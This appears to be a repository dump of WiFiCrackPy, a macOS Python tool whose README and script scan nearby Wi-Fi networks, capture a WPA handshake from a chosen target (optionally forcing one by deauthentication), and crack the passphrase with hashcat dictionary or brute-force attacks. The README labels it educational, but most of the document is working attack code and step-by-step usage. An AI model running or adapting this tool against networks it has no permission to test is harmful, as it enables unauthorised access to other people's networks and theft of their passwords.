├── requirements.txt
├── LICENSE
├── README.md
└── WiFiCrackPy.py
/requirements.txt:
--------------------------------------------------------------------------------
1 | prettytable>=0.7.2
2 | tabulate>=0.8.7
3 | pyfiglet>=0.7
4 | pyobjc>=10.2
5 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2020 phenotypic
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # WiFiCrackPy
2 |
3 | WiFiCrackPy demonstrates some of the security flaws associated with WPA(2) networks by performing simple and efficient cracking. The tool is for educational purposes and should not be misused.
4 |
5 | The script captures the necessary Wi-Fi packets associated with WPA(2) handshakes using [`zizzania`](https://github.com/cyrus-and/zizzania), processes them with [`hcxpcapngtool`](https://github.com/ZerBea/hcxtools), and then utilises [`hashcat`](https://github.com/hashcat/hashcat) to extract the hashed passkey.
6 |
7 | ## Prerequisites
8 |
9 | You must have `python3` installed.
10 |
11 | > **Important:** Use the [official Python installer for macOS](https://www.python.org/downloads/mac-osx/) instead of installing Python via Homebrew. Homebrew installs Python with *ad-hoc code signing*, which causes macOS to deny location access required by the script. The official installer signs Python with proper entitlements, allowing full functionality.
12 |
13 | You will also need to install any other outstanding requirements:
14 |
15 | | Command | Installation |
16 | | --- | --- |
17 | | `libpcap`, `wget`, `hcxpcapngtool` | Install via [brew](https://brew.sh) by running `brew install libpcap wget hcxtools` |
18 | | `~/zizzania/src/zizzania` | 1. Clone repository: `git clone https://github.com/cyrus-and/zizzania.git ~/zizzania`
2. Change directory: `cd ~/zizzania`
3. Build : `make -f config.Makefile && make` |
19 | | `~/hashcat/hashcat` | 1. Clone repository: `git clone https://github.com/hashcat/hashcat.git ~/hashcat`
2. Change directory: `cd ~/hashcat`
3. Build: `make` |
20 |
21 | ## Usage
22 |
23 | Clone the repository:
24 | ```
25 | git clone https://github.com/phenotypic/WiFiCrackPy.git
26 | ```
27 |
28 | Change to the project directory:
29 | ```
30 | cd WiFiCrackPy
31 | ```
32 |
33 | Install dependencies:
34 | ```
35 | pip3 install -r requirements.txt
36 | ```
37 |
38 | Run the script:
39 | ```
40 | python3 WiFiCrackPy.py
41 | ```
42 |
43 | The script is fairly easy to use, simply run it using the command above and enter your `sudo` password when prompted. The script also requires authorisaiton for location services in order to perform Wi-Fi scanning.
44 |
45 | Here are some flags you can add:
46 |
47 | | Flag | Description |
48 | | --- | --- |
49 | | `-w ` | Wordlist: Define a wordlist path (script will prompt you otherwise) |
50 | | `-i ` | Interface: Set Wi-Fi interface (script can auto-detect default interface) |
51 | | `-m ` | Method: Define the attack method (script will prompt you otherwise) |
52 | | `-p ` | Pattern: Define a [brute-force pattern](https://hashcat.net/wiki/doku.php?id=mask_attack) in advance (script will prompt you if required) |
53 | | `-o` | Optimised: Enable optimised kernels for `hashcat` |
54 | | `-d` | Deauthentication: Activates zizzania's deauthentication feature to force a handshake (do not misuse) |
55 |
56 | After running the script, you will be asked to choose a network to crack
57 |
58 | Following the selection of a network, you may have to wait for a while for a handshake to occur naturally on the target network (i.e. for a device to (re)connect to the network) unless you are using the `-d` flag which will force a handshake to hasten the process.
59 |
60 | Once a handshake is captured, `hashcat` can be used to crack the Wi-Fi password. This step may take quite a while depending on several factors including your Mac's processing power and the attack method chosen. If successfull, you will be presented with the password for the target network.
61 |
62 | WiFiCrackPy retains the handshake in its directory if you would like to perform another type of attack against the capture.
63 |
64 | ## Compatibility
65 |
66 | - `zizzania` has the ability to send deauthentication frames to force a handshake. This feature is disabled by default as frame injection is not possible from macOS 12 (Monterey) onwards.
67 |
--------------------------------------------------------------------------------
/WiFiCrackPy.py:
--------------------------------------------------------------------------------
1 | import subprocess, re, argparse, CoreWLAN, CoreLocation
2 | from os.path import expanduser, join
3 | from prettytable import PrettyTable
4 | from pyfiglet import Figlet
5 | from time import sleep
6 |
7 | f = Figlet(font='big')
8 | print('\n' + f.renderText('WiFiCrackPy'))
9 |
10 | # Define paths
11 | hashcat_path = join(expanduser('~'), 'hashcat', 'hashcat')
12 | zizzania_path = join(expanduser('~'), 'zizzania', 'src', 'zizzania')
13 |
14 | # Parse arguments
15 | parser = argparse.ArgumentParser()
16 | parser.add_argument('-w')
17 | parser.add_argument('-m')
18 | parser.add_argument('-i')
19 | parser.add_argument('-p')
20 | parser.add_argument('-d', action='store_false')
21 | parser.add_argument('-o', action='store_true')
22 | args = parser.parse_args()
23 |
24 | # Initialise CoreLocation
25 | location_manager = CoreLocation.CLLocationManager.alloc().init()
26 |
27 | # Check if location services are enabled
28 | if not location_manager.locationServicesEnabled():
29 | exit('Location services are disabled, please enable them and try again...')
30 |
31 | # Request authorisation for location services
32 | print('Requesting authorisation for location services (required for WiFi scanning)...')
33 | location_manager.requestWhenInUseAuthorization()
34 |
35 | # Wait for location services to be authorised
36 | max_wait = 60
37 | for i in range(max_wait):
38 | authorization_status = location_manager.authorizationStatus()
39 | # 0 = not determined, 1 = restricted, 2 = denied, 3 = authorised always, 4 = authorised when in use
40 | if authorization_status in [3, 4]:
41 | print('Received authorisation, continuing...')
42 | break
43 | if i > max_wait:
44 | exit('Unable to obtain authorisation, exiting...')
45 | sleep(1)
46 |
47 | # Get the default WiFi interface
48 | cwlan_client = CoreWLAN.CWWiFiClient.sharedWiFiClient()
49 | cwlan_interface = cwlan_client.interface()
50 |
51 | def colourise_rssi(rssi):
52 | if rssi > -60:
53 | # Green for strong signal
54 | return f"\033[92m{rssi}\033[0m"
55 | elif rssi > -80:
56 | # Yellow for moderate signal
57 | return f"\033[93m{rssi}\033[0m"
58 | else:
59 | # Red for weak signal
60 | return f"\033[91m{rssi}\033[0m"
61 |
62 | def scan_networks():
63 | print('\nScanning for networks...\n')
64 |
65 | # Scan for networks
66 | scan_results, _ = cwlan_interface.scanForNetworksWithName_error_(None, None)
67 |
68 | # Parse scan results and display in a table
69 | table = PrettyTable(['Number', 'Name', 'BSSID', 'RSSI', 'Channel', 'Security'])
70 | networks = []
71 |
72 | if scan_results is not None:
73 | for i, result in enumerate(scan_results):
74 | # Store relevant network information
75 | network_info = {
76 | 'ssid': result.ssid(),
77 | 'bssid': result.bssid(),
78 | 'rssi': result.rssiValue(),
79 | 'channel_object': result.wlanChannel(),
80 | 'channel_number': result.channel(),
81 | 'security': re.search(r'security=(.*?)(,|$)', str(result)).group(1)
82 | }
83 | networks.append(network_info)
84 |
85 | # Sort networks by RSSI value, descending
86 | networks_sorted = sorted(networks, key=lambda x: x['rssi'], reverse=True)
87 |
88 | # Add sorted networks to table
89 | for i, network in enumerate(networks_sorted):
90 | coloured_rssi = colourise_rssi(network['rssi'])
91 | table.add_row([i + 1, network['ssid'], network['bssid'], coloured_rssi, network['channel_number'], network['security']])
92 | else:
93 | exit('No networks found or an error occurred. Exiting...')
94 |
95 | print(table)
96 |
97 | # Ask user to select a network to crack
98 | x = int(input('\nSelect a network to crack: ')) - 1
99 | capture_network(networks_sorted[x]['bssid'], networks_sorted[x]['channel_object'])
100 |
101 |
102 | def capture_network(bssid, channel):
103 | # Dissociate from the current network
104 | cwlan_interface.disassociate()
105 |
106 | # Set the channel
107 | cwlan_interface.setWLANChannel_error_(channel, None)
108 |
109 | # Determine the network interface
110 | if args.i is None:
111 | iface = cwlan_interface.interfaceName()
112 | else:
113 | iface = args.i
114 |
115 | print('\nInitiating zizzania to capture handshake...\n')
116 |
117 | # Use zizzania to capture the handshake
118 | subprocess.run(['sudo', zizzania_path, '-i', iface, '-b', bssid, '-w', 'capture.pcap', '-q'] + ['-n'] * args.d)
119 |
120 | # Convert the capture to hashcat format
121 | subprocess.run(['hcxpcapngtool', '-o', 'capture.hc22000', 'capture.pcap'], stdout=subprocess.PIPE)
122 |
123 | print('\nHandshake ready for cracking...\n')
124 |
125 | crack_capture()
126 |
127 |
128 | def crack_capture():
129 | # Ask user to select a cracking method from menu
130 | if args.m is None:
131 | options = PrettyTable(['Number', 'Mode'])
132 | for i, mode in enumerate(['Dictionary', 'Brute-force', 'Manual']):
133 | options.add_row([i + 1, mode])
134 | print(options)
135 | method = int(input('\nSelect an attack mode: '))
136 | else:
137 | method = int(args.m)
138 |
139 | # Get the wordlist
140 | if method == 1 and args.w is None:
141 | wordlist = input('\nInput a wordlist path: ')
142 | elif method == 1 and args.w is not None:
143 | wordlist = args.w
144 |
145 | # Run hashcat against the capture
146 | if method == 1:
147 | subprocess.run([hashcat_path, '-m', '22000', 'capture.hc22000', wordlist] + ['-O'] * args.o)
148 | elif method == 2:
149 | # Get the brute-force pattern
150 | if args.p is None:
151 | pattern = input('\nInput a brute-force pattern: ')
152 | else:
153 | pattern = args.p
154 | subprocess.run([hashcat_path, '-m', '22000', '-a', '3', 'capture.hc22000', pattern] + ['-O'] * args.o)
155 | else:
156 | print('\nRun hashcat against: capture.hc22000')
157 |
158 |
159 | scan_networks()
160 |
--------------------------------------------------------------------------------